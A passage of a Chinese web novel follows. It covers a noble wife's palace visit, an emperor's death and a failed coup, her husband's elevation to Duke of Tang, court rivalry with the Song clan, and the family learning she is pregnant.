因为二人都有诰命,都可进宫。一人便是新唐侯夫人万氏,一人便是马义的夫人沈氏。 这宫里的消息一递。 宫外自然很快得着信儿。 新唐侯府。 万珍珠知道宫廷里的马昭仪想见嫂嫂。她自然是给递信的小黄门封了大大的红包。 谢对方来报信儿。 对于进宫一事,万珍珠当然得重视。 要知道如今是什么时候?这是很关键的时候。 至少万珍珠从夫君那里得来的风声,那就是很关键。 这等时候宫里的马昭仪想见一见娘家嫂嫂。 偏生这事情还成了。 万珍珠总担忧里面有什么猫腻。只是担忧了,事情来了也避不得。 只当晚,万珍珠把她自己的担忧说给了枕边人听一听。 “昭仪召见,想必是有要事。听一听也好。”赵济世对于宫廷内苑的态度是非常重视的。 “可若是难事呢?”万珍珠讲道。 “见招拆招。”赵济世的答案很明白。事情来了,甭管是福是祸,挡不住,那就顺其自然。 “不提这些,珍珠妹妹,今个,我们早些歇息吧。” 这会儿的赵济世更想跟枕边人困觉。 此时天色渐晚,月明星稀。 次日。 万珍珠仔细收拾一番。这会儿的夫君早去衙门了。 万珍珠要进宫一趟。这不,此时先去亲娘院里坐一坐。 毕竟她要等一等弟妹沈氏。今日,她要跟弟妹一道进宫。 “娘。”万珍珠这一刚到亲娘的院里,一个小炮仗一样的好大儿往亲娘跟前冲上来。 一下子,没收住力的安康就是撞进亲娘的怀里。 好在万珍珠也练武,虽然吧,也就那样。 好歹身手还勉强凑合。 这不,一下子是抱住了好大儿。 “娘,你今天真漂亮。”安康夸了亲娘。 这话一讲,从还是从亲儿的嘴里讲出来。万珍珠受用的很。 “娘哪一日不漂亮了。”万珍珠笑道。 “可今天比往常更漂亮。”安康昂了头,仔细的打量一番亲娘,很认真的回道。 “瞧你打扮,甚是隆重。这合礼仪。”牛二囡这会儿也走上前,瞧见亲闺女穿着诰命服,带了冠。 此时,也是感慨三分。 “依娘看,安康没说错。今个,确实是气派。”牛二囡笑道。 一家三口,又是说说笑笑。 便是说得开心时,有丫鬟来报信。万珍珠一听是弟妹沈氏到了。 这会儿赶紧去迎一迎。 牛二囡领着好大孙安康跟随,在前院,见着沈氏。 相互之间见过礼。 此时,倒不好继续耽搁下去。万珍珠和沈氏一道跟牛二囡这一位长辈道别。 那当然,也免不得跟安康要道别一回。 “娘去哪?”安康这会儿倒是舍不得亲娘的样子。 “娘有事,要出门。等娘回来,给安康带礼物。” 万珍珠伸手,摸一摸好大儿的脑袋。 “安康在家里替爹娘照顾姥姥,好不好?”万珍珠哄了好大儿。 “安康陪姥姥,姥姥舍不得安康。”牛二囡这会儿也配合女儿,那是哄一哄好大孙。 瞧一瞧亲娘,再瞧一瞧姥姥。 “那娘早些回来。”安康一咬牙,还是认真的讲道。 “好,好。娘一定早些回来。”万珍珠应了。 等万珍珠坐上马车,她和弟妹沈氏一道离开后。 安康还在大门处守了许久,一直到马车的影子都是瞧不见。 “安康舍不得娘?”牛二囡问好大孙。 “爹不在,娘不在,我是 好儿郎,我要照顾姥姥。“安康牵着姥姥手。 他挺一挺小胸膛,装了小大人的模样。那是可爱的利害。 可这会儿,他还是装了坚强,他说道:“我想爹娘陪我。可是,爹娘有事,我不能当一个坏孩子。” “我长大了,学好本事了,也要像爹娘一样。做利害的人。” 安康可是记性不错。有些爹娘说过的话,旁人可能忘记了,他还记得。 至于大人的话,他不一定懂。可他会学。 牛二囡瞧着聪慧的好大孙,她牵着好大孙的手,一道往府回去。 “安康聪慧,将来必是好儿郎。你爹娘以你为荣耀。” 牛二囡夸了好大孙。 走远的马车里。 沈氏跟万珍珠在说着小话,闲聊几句,也是气氛不错。 只待进宫后,二人却是守了规矩,不再多舌。 这等时候,也不必去凤仪宫。 因为孔皇后病了,凤仪宫不见客。二人见了掌宫权的宋贵妃。 得宋贵妃的话,又在宫人的带领下去了马昭仪的寝宫。 宫廷内苑。 等着万珍珠一行人到马昭仪的寝宫。领路的丫鬟得着赏,尔后,告退离开。 马昭仪,或者说马小莲见着二位嫂嫂,她的神色开心。 留了嫂嫂在殿内说话,侍候的宫人们却是被打发出去。 “本宫与嫂嫂们说些体己话,尔等退下吧。” 有马小莲的吩咐,宫人们见礼后,一一告退。 殿内,剩下姑嫂三人。 “许久不见二位嫂嫂,二位嫂嫂瘦了。”在马小莲眼中,嫂嫂们真的瘦了。 “许是苦夏吧。”万珍珠摸一摸自己的脸,笑着回道。 “娘娘瞧着也瘦了。”万珍珠又感慨一句道。 “本宫也许是苦夏吧,跟大嫂嫂一样。”马小莲回道。 “娘娘,这是府上的一点心意。” 沈氏这会儿拿了贴补给马小莲这一位小姑子的银钱。 万珍珠也一样,也是递了一份心意。 马小莲心头开心,毕竟,这做宫妃,有没有娘家的贴补,那真的是天上与地下的生活差别。 “二位嫂嫂,本宫在宫里倒是帮衬不上娘家什么。却也惭愧,一直让娘家的兄弟和嫂嫂破费了。” 拿了娘家太多好处,马小莲心中有数的很。 可她呢? 马小莲看着自己的境遇,不过一个虚名的昭仪娘娘。 实则嘛,膝下无嗣。 马小莲觉得她这一个昭仪,真跟一个牌坊似的。 “娘娘,您太自谦了。”万珍珠忙找补话。 “有娘娘在宫廷里镇着,您就是镇山的泰山石。您在,宫外谁不高看我等几眼。”万珍珠笑道:“说来,您还是我等的底气。” 也算添一二分的底气。 这有底气,或者说有些背景嘛,只要通了天。 那有跟没有,还是有差别的很。 至少万珍珠觉得马小莲这一个身份摆那儿,就是当菩萨供着,那也是好事儿。 只是马小莲本人,却也是可怜人儿。 宫廷里的嫔妃,无嗣的嫔妃,日子也是熬一熬。 特别是一旦皇帝驾崩,有嗣无嗣,那差别很大。 有子嗣,可随皇嗣出宫供养。 无皇嗣,那得去出家吃斋。在皇家的寺庙里,那日子过得凄凄惨惨。 反正搁一般的人,至少日子过得舒心的人。 没谁会觉得宫廷里的嫔妃是过了好日子。 天家的富贵,可不容易享受。光想想,一群的嫔妃争了一个帝王。 那日子哪可能真的好过? 反正万珍珠的眼中,昭仪娘娘的富贵,她是享受不来。只是尊敬着。 “娘娘,一家子骨肉,您在宫里安好。宫外的亲人们就安心。”沈氏这会儿也是宽慰话道。 听两个嫂嫂你一言,我一语,再三劝话。 马小莲收下了兄长们和嫂嫂的贴补。此时,马小莲请二位嫂嫂饮茶。 又闲话片刻,马小莲说了请嫂嫂们进宫来,这真有事情托付。 “娘娘,有事您尽管吩咐。”沈氏讲道。 万珍珠瞧着专门召见一回,心想,看来不是小事。 第104章 明明夏过,又是秋来。 九九重阳节,安康的四周岁生辰日。新唐侯府是小办一场。 没大办一场,不外乎,夫妻二人不想大办。 因着赵济世建议,万珍珠同意了。 这一日,晚间。 夫妻二人漫步于花园里,明明天暗,灯笼点亮。 此时,夫妻二人同行。 “安康大了,应该启蒙了。”在赵济世的眼中,儿子吃五岁的饭。 在这一个世道里,那得开始学着长大。不止学文,也得学武。 “是啊,安康一日大一日。”在万珍珠的眼中,想让好大儿浑玩,那当然不可能。 这一个世道里,半大的小子也得开始立业求前程。 毕竟不同的世道,在世人眼中要求长大的年纪不同。 在如今的世道里,男子十四、十五岁可成亲,可当父亲了。 十四、十五岁,不过是后世人眼中的半大孩子罢了。 可在如今的世道里,那就得学会顶门立户。 因为时代不同,规矩不同。 “我琢磨了许久,也给安康想了大名。绥。”赵济世笑着,拉了妻子的手。 尔后,他在妻子的掌中心写下了一个“绥”字。 “绥。”万珍珠念一回。 “赵绥。” “惠以中原,以绥四方。”赵济世说了他对于长子的期望。 “赵绥。好名字。济世哥哥待安康也是一片期待。”万珍珠觉得这一个名字的喻意挺好。 夫妻二人这会儿还是议一议好大儿的名字。 这会儿的赵济世拉拢着妻子的手。 “珍珠妹妹……”赵济世似乎有些话想讲,最后,也没讲出来。 秋日。 明明好时光。这一日,皇宫,钟声长鸣。 新唐侯府,万珍珠听着此钟声,她愣神片刻。 “万嬷嬷。”尔后,万珍珠唤了身边的亲信陪嫁。 “吩咐下去,府中服素,不可逾矩。”万珍珠叹息一声,道:“陛下驾崩了,变天了。” 万嬷嬷也不傻,当然也听懂了钟声长鸣的涵意。 此时赶紧应下差遣。尔后,府上服素,此事情自然操办起来。 万珍珠与亲娘,好大儿安康赵绥,那也是换了身上的衣裳。 不见鲜亮,只是素色的衣裳。 在此时,万珍珠的心头有数,变天了,这真的要变天了。 大赵朝,燕京都,皇宫。 宫廷内苑,马小莲这一位昭仪的心头很慌。 可再慌,马小莲还得勉强自己莫慌。 给帝王哭灵,那就是哭灵。不如说,也是替自己哭一场。 明明天光白日,马小莲在这一日,那是从灵魂里感觉到了透心凉。 凤仪宫。 孔皇后已经病得起不了身。听到帝王驾崩一事,她的眼中有哀伤。 哀伤,不过是哀痛了帝王的去逝。同时,也是伤心了自己的前程与家族的命运。 “变天了。起风了。” 孔皇后呢喃一句。 真是起风了,这一日,燕京都里起了喊杀声。 赵济世也似乎卷进了一场旋涡里。皇宫,有人攻打了皇宫。 当然,那些有反心之辈自然没成功。只是被卷进去的人太多了。 高高的宫墙,高高的城门。 人,在这等血色之时,不像是人,更像是扎挣在命运下的棋子。 赵济世亲临指挥。他护的,不过是东宫的储君,未来的天子。 当然,打着的旗号嘛,那是宋国舅的主导。 宋国舅,这一位未来小天子的亲舅舅在这一日,那是挣得了顾命大臣的名份。 宋氏一族的希望,如今瞧着不止在未来的太子。 同样,也来自于宋国舅。 宋国舅的份量还不轻,那是在棋盘上占了狠狠的一角,镇压着棋局。 燕京都,新唐侯府。 万珍珠在前院,她在指挥着府内的亲信。也给了重重的赏。 付出一些钱财,给了一些允诺,在万珍珠心底,这些是应该给的。 因为府上的护从是护了她的性命,护了亲娘和好大儿的性命。 同时,也是护了夫君的退路。 待新唐侯府周边的喊杀声小时。这已经是杀退了第四波人马。 等着情况平静后,安排了人继续巡逻守护。 万珍珠回了后宅正院。 她去那儿安慰了亲娘和好大儿。 “娘。”赵绥小跑上前,扑进自己怀里。 万珍珠半蹲身,她接住了小儿郎。她道:“娘在。” “娘。”赵绥又唤一声。 小儿郎似乎在确认什么似的。牛二囡在旁边瞧着这一切。 牛二囡的眼中也有担忧色。 “会没事儿的,对吧,珍珠?”牛二囡问了女儿。 “娘放心,你要相信了府上的护从们。全是夫君精心挑选的,万无一失。” 万珍珠宽慰了亲娘。 同时,万珍珠心头也明白。真到万一,也有退路。 因为府上有点密道。 那真是退路。 也只是临头了,没法子的退路。不到最后一步,当不用那一法子。 新唐侯府是勋贵,在这等时候是要压住府上的阵角。 牛二囡在此时当然是信女儿和女婿。 牛二囡也配合了亲闺女哄一哄好大孙赵绥。 四岁的儿郎,哪怕年少。其时已经会看脸色。 会瞧眉目高低,又听着喊杀声。 哪怕在后宅,赵缓小儿郎也会被气氛影响的。 有亲娘安慰,有姥姥安慰。小儿郎赵绥才是有心气儿,那是忽略一些外界的不好气氛。 在后宅正院。 万珍珠安慰亲娘、安慰亲儿子。可在万珍珠的心底,她更担忧了枕边人。 新唐侯府都是撕杀几回。 那么,守了燕京都,当了御林卫左统领的夫君呢? 那必在撕在的棋盘之上。 在心头,万珍珠是祈求了漫天的神佛,祈求了祖宗,更是祈求了地下有灵的亲 爹。 求了无数的无数,只盼着枕边人平安无恙的归来。 这一日,燕京都的不安稳,自然不止了新唐侯府。 太多的人投进去,投在杀局之中。那从龙之功。自然有许多人是想挣的。 宁国公府。 国公夫人在小佛堂里祈福。她不止祈福,她还是在祈福后,那让府中上下,也是森严的安规矩行事。 可这一份严肃,也不过是表面的功夫。 同样的国舅府。 何国舅,这一位承顺帝的亲舅舅,那一样入了局。 只是他的局,不太好。 在皇宫的宫门前,这一位何国舅死了,当在乱箭之中。 何国舅的国公府,一样的被人清洗了。 哪怕是高高在上的大人物又如何?在这一日,太多人只是无奈的一枚小棋子。 乱兵一起,刀戈相向。 崔氏一族也罢,何国舅的这一脉人马也罢。 很多人已经在棋盘上。 皇宫,高高的城墙上。宋国舅瞧着死了何国舅。 宋国舅是心头舒服一口气。 一代国舅换国舅,就像是一朝天子一朝臣。 宋国舅的前途里,那没有规划了何国舅的前程。 宋国舅不会忘记了,有人在耳边的献言。 顾命大臣,承顺帝满意的之人有何国舅。同时,何国舅一脉,更得帝王信任。 可宋国舅呢? 宋国舅不想两代国舅凑一张桌上吃饭。何国舅不体面。 宋国舅就送对方去体面。 这不,一点散波出去的消息,给一些人行一点方便。 对,就是给孔氏一族的余孽行一些方便。 这不,钓来了大鱼。 何国舅就是大鱼之一。对此,宋国舅是满意的。 燕京都的盘子就那么大,何国舅多占三分。 那自然要踢除一些人出局。 赵济世只是从龙之功里,那当了从龙之臣的高位之一。 拿什么献给新天子做忠心,当然是一些人的头颅。 这一日,在喊杀声结束后。 有些人永远的消失了。有些家族,也是损失惨重。 赵济世是得利的一方。哪怕头顶上又添了一位宋国舅。 添了一个宋氏一族的崛起。那又如何? 虽然承顺帝留的顾命大臣有四位。可这里面,三人给出局了。 宋国舅独占一位。 次日,钦天监测算。又在重臣们的叩首规劝下。 太子哪怕年少,于灵前就皇帝位。 新天子尊宋贵妃为皇太后,命宋国舅为宰相。 一时之间,宋氏一族在风口之上,掌了大赵的命运起伏。 论功行赏。 护驾有功,有从龙之功的赵济世,也是得了恩赏的一人。 赵济世,得天子命,加封邑,就国公位。即唐国公。 新唐侯府,不,打从这一日开始,应该唐国公府。 做为新出炉的国公夫人。 万珍珠有些日子没见着归府的丈夫。等着天使来降旨后。 当晚,真的很晚,亲娘和好大儿已经睡下时。 万珍珠没歇下,还留着一盏灯。 那时候天暗了,夫君归来。 瞧着貌似瘦了许多,却精神满满的枕边人。 万珍珠迎了上去。 “济世哥哥。” “这些日子辛苦妹妹了。”赵济世担住妻子的手。 归来时,赵济世又听过管事详细讲了,那一日,天变时,府上发生的大小事宜。 特别是有一波人,冲得太利害。那一波,已经冲破府门。 好歹,被拦在了前院。 后来,还是杀退了贼子。可真的很凶险。 赵济世握着妻子的手,仔细的打量一番。 “妹妹,怕吗?”赵济世关切的问道。 他记得,他听着管事讲,枕边人亲自拿箭上阵,射杀敌人时。 赵济世心跳的加速,那等担心,无可述说了。 第105章 “怕的。”万珍珠说出来心底真话。 “我也怕的。”赵济世半是哄了心上人,半是真心。 可怕,那也得上。 有些时候,决断一下,不能退后。退后一步,可能就是深渊。 “……”此时此刻,夫妻二人无言,却是彼此握着对方的手。 一时之间,此时无声胜有声。 承顺四年,新帝登基。 对于大赵而言,自然是划入新的一页。 有人上位,有人倒台,同时,宋氏一族被抬了上来。 大赵朝,燕京都,内城。 承顺帝的亲姨丈,宁国公府的常国公在家中跟幕僚感慨。 “本国公得赞叹一回,宋氏一族倒是好运道。只这般的烈火烹油,也不怕运道不够,运数不足。” 常国公不止羡慕,那是嫉妒。 宰相之位,何其重要。 常国公也想尝一尝名义上的一人之下,万万人之上。 当然,实际上小皇帝太小,这宰相就是大赵的主宰。 可惜,这一个位置让宋国舅爬上去了。 “……”幕僚听了常国公的羡慕之语,也只能跟着感慨。 燕京都,内城,国舅府。 宋国舅最近很得意,哪怕,宋国舅自己觉得自己很谦逊。 可事实嘛,他飘了。 不止宋国舅飘了,宋氏一族都飘了。要知道一人之下,万万之上。 处在这等位置,那利差太大。 大到宋氏一族这等豪强一下子拔高地位。那拔得太高。 这泼天富贵能不能把握得住?两难之说。 宫廷之内,凤仪宫。 这本是中宫住的宫殿。孔皇后殁了。 或者说承顺帝没了,孔皇后也殁了。这里面的门道嘛,懂得都懂。 至于孔皇后为何殁的? 没人在意。 至少如今的得利者们,他们不在意。 宋太后如今居于凤仪宫。这本是皇宫的寝宫。 可宋太后就想住一住中宫的寝宫。对此,当然没人反对。 谁让小天子是宋太后的亲儿子,宋国 舅又是宰相之尊。 如今的宋太后是得意的很。 于是等帝王的身后事宜一结束。 等着命妇朝拜皇太后时,万珍珠只是朝拜里的一员。 彼时的宋太后骄傲的太阳。那真是让人一时之间,不可直视。 都说让人不能直视的,一曰太阳,二曰人心。 因为二者,真是直视,太伤人了。 可宋太后如今的做派,万珍珠瞧着,都得感慨了一回。 何等跋扈,她着实是见识一番。 明明功臣,或者说万珍珠知晓的。在这等大变之时。 唐国公攀天子富贵,那也是拿命来搏。 因为输了,真的可能死全家。 这等情况下,自家人拿搏了。可如今呢? 万珍珠却是瞧着宫中的宋太后,待她这等勋贵嘛,也是平平无奇。 宋太后的眼中,貌似还是自家的富贵更重要。 这个自家,不是皇家,不是代表了小天子的皇权。 而是宋太后的娘家,宋氏一族的富贵。 瞧着宋太后待娘家的厚待,待她这等诰命的轻视。 万珍珠面上不在意。心头很在意。 今日轻视,来日忽视。再往后呢?一旦宋氏一族又在庞大几分。 那宋氏的胃口会有多大? 万珍珠可不会忘记了,她家给宋氏一族填坑的财富。 那真是割了自己家的肉,喂了宋家的饿狼们。 如今呢? 宋氏一族这般不顾及吃相。唐国公府可以忍。 毕竟人在屋檐下,不得不低头嘛。 可有些人,未必会忍。因为世家世族还是占着高位。 这一回,不过是借力罢了。借着新旧天子的交接,那确实是扫掉了一些尘埃。 可内里没变,照旧的还是照旧。 万珍珠更怕的,那是宋氏一族倒台了。她家这等给小天子站台的,那会不会被划入了宋氏的亲信? 又或者着被人借着宋氏亲信的名头,一道打掉,一道想吞了。 因为唐国公府,也是一块肉。至少在世家世族的一些贪婪之辈眼中。 那也是很肥的肉。 至于说唐国公府掌的兵权? 这兵权吗?稳吗? 万珍珠自己都觉得要打一个大大的问号。因为唐国公府的起势太晚了。 至少在那种经营几十代,十几代人的,经营了几个皇朝的世家世族眼中。 真不算什么。 人家在乱世里爬过,在新朝占了高位。那能不利害? 反正千变万幻,兵权为重。 任它什么书阀,世阀,财阀,总归没军阀的刀把子利害。 万珍珠不开心的地方,或者说真正让她心头不满意的。 还是进宫拜见前。她听着的几耳朵消息。 禁军,这让宋氏一族在把持。这是宰相加强利量。 那可以理解的。 可自家的夫君没升官,还调职。那就让人很不开心了。 要知道御林卫多重要。那是兵权。 哪怕给塞到了承天府的左营里,又掌了兵权。 到底,左营比不得御林卫的重要。 万珍珠心头有想法。或者说她心有担忧。总觉得一些事情还没有结束。 唐国公府。 赵济世下差了,一回府,他与往常一样。 先去见一见好大儿,问安了岳母大人。一家人一道用了夕食。 在夕食罢。 赵济世提了一话,道:“安康年岁渐长,来年当入学,也当正式习武了。” “学业之事,夫君拿主意就成。我是信夫君本事的。” 万珍珠捂嘴笑着讲道。 “对,对,安康的学业,女婿你拿主意就好。” 牛二囡跟女儿是一样的态度。 毕竟在牛二囡的眼中,女婿是文武双全。 “安康,学文习武,可怕辛苦吗?”赵济世问了好大儿。 “读书好,习武好。我还想骑大马,更想做了替爹分忧的好儿郎。” 安康挺直了胸膛,那是昂头,这会儿神气的回道。 没正式进学,如今的安康学习,也不过启蒙。 或者说是喻教于乐。 在安康的心里,学习嘛,还是挺好玩的一件事情。 “我儿有心气,可不能半途而废。”赵济世夸一夸孩子。 “夫君放心,安康真是半途而废,那就送他去庄子上,多吃一吃苦头。” 万珍珠这会儿当起了严母来。 “孙儿还小,何至如此?”牛二囡听着女儿的虎言虎语,忙是打断道。 “娘,这话不对。” 万珍珠笑道:“小树不修,如何直溜。” “何况,小儿不吃学习之苦,将来就要吃了生活之苦。” 在万珍珠的眼中,知识嘛,那可是很重要的。 知道没知识,真容易吃亏欠。 至于说有些知识可能没大用?那一定是没用对地方。 无用的知识,用对了,那也可能化为有用嘛。 这会儿赵济世倒是做了慈父,又是哄了自家好大儿。 “那就考校,到时候考校了安康的学习成绩。若是优等,便是奖励了孩子。” 在赵济世的嘴里,自家好大儿学得好。那可是奖励多多。 万珍珠这会儿是嘴角抽抽。明明这话,早前她跟枕边人提过。 如今枕边人拿来鼓励好大儿。得,这好话全让枕边人讲了。 想一想,罢,都是夫妻。能怎么办? 自然是一条心。万珍珠也是附合一回夫君之语。 这会儿夫妻一心,都是鼓励了好大儿一心向学。 哄一哄孩子,把气氛炒一炒。 等着开开心心的消食后,安康自然是歇于姥姥的院中。 这孩子还没有正式进学,也是住于后宅。 等来年,正式进学后,也要搬去了前院居住。 到时候嘛,小孩儿也要学着自己管一管自己了。 这一晚,夫妻二人同寝。 只回了寝屋后,万珍珠打发走侍候的丫鬟仆妇。 夫妻二人独处,万珍珠说了一回进宫的所见所闻。 “济世哥哥,如今的宋氏一族太张扬了。我们跟宋氏一族攀附的太近。会不会惹来祸端?” 万珍珠担忧的问道。 “……”赵济世在沉默。 “月圆月缺,水满则溢。济世哥哥,非是我岂人忧天,而是宋氏一族的做派,真的过份了一点。” 万珍珠再三说了她的看法。 “妹妹,我信你的话,也信你的看法。人活一辈子,木秀于林,风必摧之。” 赵济世说道:“何况,宋氏一族也不止是木秀于林。” “只是如今,我家有退路。”赵济世宽慰了心上人。 一听此言,万珍珠的目光直视了枕边人。 “有退路?”万珍珠问。 “有退路。”赵济世肯定的回道。 “若不能讲,便不讲。我也知几事不密,必在祸端的道理。” 万珍珠握一握夫君的手,她笑着回道。 “事不成,确定不当多言。”赵济世轻轻颔首。 如此,万珍珠心中大概有数了。 那她的预感真没错,燕京都的风云变幻,真不是小天子登基了,便是一片平和。 或许离着皇权太近,这燕京都的风云,真是起起落落。 至于什么时候是一个头? 万珍珠不敢想。 人活着,就喘气。那权柄摆那儿,只要有可能,万一能摸着的人。 那总归有人会想试一试。 至于试一试,会不会逝世? 这是一个仁者见仁,智者见智的问题。 “不提那些烦心事。今个天晚,如今我们歇息吧。” “好。” 万珍珠应了,她笑道:“我们努力这般久,还不曾给安康添了弟弟妹妹。” “娘可催了。”万珍珠嘀咕一回。 “那是我的失职,让岳母失望了。妹妹,我们可得努力了。” 赵济世揽着妻子,打趣一番。 第106章 一朝天子一朝臣,对于唐国公府而言,如今的日子似乎挺红火。 至于在面上是热闹的很。毕竟宋氏一族拿了大头,唐国公这等从龙之臣也拿了小头的好处。 可这般的好处,于赵济世而言,尚有不足。 实乃宋氏一族占的太多。 赵济世担忧的不是自己家的不足,而是那些世家世族的不足。 对于枕边人的担忧,万珍珠当然也是瞧在眼中。 这些日子,燕京都的各场聚会,万珍珠是一一参加。 一些女眷圈子里的耳闻之事,万珍珠总归要总结归纳,尔后,说与枕边人听一听。 不止当了趣闻,而是把一些燕京都的潜流,用着女眷圈子里的一些流言蜚语结合,那是比较着得了一些答案。 这不,夫妻二人独处时。 赵济世的脸上就有担忧之色。他道:“燕京都瞧着又要起风了。” “济世哥哥,宋氏一族能压住阵角吗?”万珍珠的脸上也有担忧之色。 “应该能。”赵济世给了答案。 堂堂宰相,哪怕是被人推在台前。倒底皇家的底子还在。 只要宋国舅还是拿着大义名份,凭着皇权支撑,总归是名正言顺。 “若如此, 燕京都的风起了,也能压下去的。“万珍珠的眼中,担忧之色减半。 “济世哥哥,近日,凭着如今的国公府威风。府上的财政是越来越好。” 哪怕给宋氏一族的好处,那是越来越多。那又如何? 这世道,只要有权,那维护了自己的商业利益可谓是易事尔。 毕竟这有权利保护的利益,如此才不会被人觊觎了。 “若是济世哥哥想,不妨多支使一些银钱,多办一些事情。”万珍珠提了建议。 钱财嘛,挣来就是花销的。若是只管挣了,不花出去。 那些埋银库里的钱财又不会生子。 反正有收有出,这才是万珍珠的理财观念。 如果能用在了更好的大方向上,万珍珠就更满意了。 “好。”赵济世应了。 “妹妹理财,多番辛苦。倒叫我花销一个精光,我倒是尽成了吃软饭的汉子。”赵济世赔笑着说道。 “尽胡说。”万珍珠伸手,还在枕边人的腰间轻轻一拧。 “再是胡说,我可不依。”万珍珠嗔怪一回。 “一家人,两家话。济世哥哥说的话,我可不爱听。”万珍珠揽了枕边人的人。 这会儿笑道:“我能挣钱,商社一直明里暗里,没谁给了阻路之举。谁的功劳?” “还不是济世哥哥乃是唐国公,乃从龙之臣。乃掌了兵权。”万珍珠瞧得明白。 就像当初在大晋一样。 她做的那些事情,薅的大晋朝堂的羊毛,凭的全是自己的本事吗? 不,大半还是她爹内相大人的身份使然。 说白了,在东方大地上,在这一个权利为尊的世道里。 古往今来,往前数,往后数,从来是一个道理。 那便是权为尊。 有权了,钱财尽有。光有钱,若无地位权利,那些钱财尽数是替权贵们攒着的。 毕竟养肥的肥猪,权贵们想宰了吃肉时,尽可挑肥捡瘦的选一选。 为何人人向往了人上人。 不止为了享福,更是为了不被踩,不被吃。 “如今这般风光,不只是我的努力,也是珍珠妹妹的辛苦。你我夫妻,一心一意,合力同舟,方使家业兴旺。” 赵济世揽了妻子入怀,这会儿说话时,一片温柔。 在赵济世的心底,妻子的好,他全懂得。 夫妻二人温情脉脉,尔后,自然是一份温馨。 秋日,唐国公府办了宴会。 庆贺了世子赵绥的四周岁生辰。或者说来年,小孩儿就是吃了五周岁的饭食。 至于世子,这名号也是名符其实。 因为赵济世上奏本,跟天子请封的。 在小天子那儿,这事情没半点的折扣。赵绥,应该说安康这孩子嘛,大名入了朝廷的册封。 这不,堂堂正正的成了爵爷,未来能合法的继承了亲爹的爵位。 嫡长子,请封世子。有名有理,这事情没谁能挑刺儿。 于是唐国公府的一场聚会,那可谓是热闹的很。 万珍珠也是得了宰相夫人的亲近。宋国舅的夫妻来了府上,还是送了厚礼。 同时,宰相夫人还是给万珍珠这一位国公夫人透了消息。 “瞧着世子端庄聪慧,自是无双儿郎。夫人,你瞧,我们两家也是结了通家之好,如何?” 宰相夫人开口,这可是大大的善意。 对此,万珍珠尴尬一笑。 “好叫夫人知晓,小儿已经定了婚约。还是先帝时,请先帝过目了的。乃挛鞮一族的小汗嫡姐,草原郡主。” 万珍珠实话实说。 这一位挛鞮明珠,人如其名,真是挛鞮一族大阏氏的掌上明珠。 先帝,也便是承顺帝也给了一个郡主的封号。 在这等情况下,这订了婚约,那当然得算数。 唐国公府还要脸,没可能毁约的。 宰相夫人,或者说宋家夫人听着万珍珠的话。 当场脸色就微微的一变。 不过,也便是瞬间又恢复过来。 “原来如此,倒是我失礼。”宋家夫人笑道:“尚不清楚这一桩婚约,我是糊涂了。” “让唐国公夫人见笑了。”宋家夫人嘴里说得客客气气。 可便是这一番的客气,那让万珍珠知晓。这一位宰相夫人不开心了。 “哪里。夫人不清楚这一桩亲事,您能提了通家之好,那是瞧得上唐国公府。也是高看我夫妻二人一回。” 万珍珠也是缓和着态度。 如果可以的话,万珍珠是不想得罪了宋家。 谁让宫里有一位宋太后,小天子身上也流着宋氏的血脉。 这一场事情,貌似是过去了。 可宋家夫人回了宰相府。还是发了一通的火。 至于宋国舅回府后,瞧了夫人一回冷脸。也是不开心的紧。 于是宋国舅又是宿于美妾屋中,冷落了一回夫人。 这让宋家夫人更不开心。还是在府里发作了一些人。 至于宋国舅的后宅事宜,自然没传了风声。 或者说唐国公府里,万珍珠不在意。 因为万珍珠的主意,全是给另外的一桩事情夺了目光。 这不,秋日,一家人聚一起吃一餐饭食时。 一道鱼羹让万珍珠是遇了难。 做为过来人,万珍珠可有数的很。于是她跟身边的万嬷嬷问一问。 “嬷嬷,我的月事迟了几日?”万珍珠一问。 在场的人,个个便是都有猜测。 “殿下,您的月事迟了九天。”万嬷嬷肯定的回道。 “那,请府医吧。”万珍珠笑道。 “可是有喜了?”牛二囡这会儿满面欣喜的问了亲闺女。 赵济世一听,也是带了笑意,眼中有着期待。 他跟妻子可是努力太久,早盼着造小人成功。 便是赵绥,或者说万珍珠好大儿安康,这会儿也是目光灼灼的望着亲娘。 “娘,我要当哥哥了吗?” 对于安康而言,他可想当哥哥了。毕竟他努力的想着学文习武,那也是想要当一个好哥哥。 做哥哥什么样子? 那当然是好为人师的教导了弟弟妹妹。 在安康的心里,他可太想了当老师。 “等府医请了脉才知。如今,可能有几分猜测。”万珍珠笑道。 “娘,夫君,安康,你们莫要先开心,万一,这只是我的猜测。可不准的。” 万珍珠打一打预防针。 她只是猜测,万一不是呢。 “早早晚晚,总归要替安康添了弟弟妹妹的。”牛二囡笑道。 “无妨,这一回不是,下一回一定是。”赵济世笑道:“我们还年青,往后多努力便成。” 赵济世看得开。当然,也是真心盼着儿女多多。 毕竟赵济世努力挣了家业,那盼着的还是有继承人多多。 或者说儿女多了,那能团结的亲家也多。 人多力量大,赵济世对于结两姓之好,多添亲家这等美事,他是乐意的。 至于安康,小儿郎的目光坚定。他望着亲娘,讲道:“娘就是有喜了,娘就是怀了弟弟。” 一家人说说笑笑时。 府医请来了,这会儿赵济世先开口,让府医不必多礼。 赶紧的,还是先请了平安脉。 府医请脉,屋中诸人静静的等候着。都是专注的很,都在瞧着府医神情。 这不,府医请万珍珠换了手腕子。来回了请了两次平安脉。 尔后,府医便是作礼,道了恭喜。 听着府医讲,确实有喜。这会儿的赵济世是大笑。 不止笑一回,还是开口要加赏。不止赏了请脉的府医。 府上诸人,人人沾一沾主家的喜气。人人得了赏。 赵济世要给赏。这会儿牛二囡是一样的态度。 于是来来回回,主家赏了几遍。 于是得了好处的府上诸人,那真不介意多给主家磕几个头。 毕竟白拿的好处,那真是盼着年年都有。 “爹,姥姥,娘怀了弟弟。哈哈哈……”安康开心的笑了。 “太好了,我当哥哥了。” 安康对于当哥哥,这会儿是开开心心。 牛二囡也高兴, 她笑道:“是啊,总算怀上了。” 唐国公府就安康一个大孙子,牛二囡也是担忧的很。 子嗣单薄,对于牛二囡而言,这是担忧之事。 毕竟牛二囡也是信奉了,一家人,人丁兴旺才是兴家之兆。 人多力量大,这可是许多人信奉的真理。不止,牛二囡信,赵济世一样信。 “妹妹,太好了,我们又多了一个孩子。”赵济世也高兴。 赵济世这会儿还是有一份高兴过头的感觉。 他很担忧,总担忧了妻子的这儿,那儿。 或许是失去过一个孩子,对于如今得来的孩子。 求了太久,一旦有了,那一份求来的期待感真的很足。 瞧着一家人的态度,那是小心翼翼。万珍珠反而很坦然的。 “嗯,这孩子又来了。”在万珍珠的心底,这许是那一个失去的孩子,又投胎到了自家呢。 因为失去过,所以,更加的珍惜了。 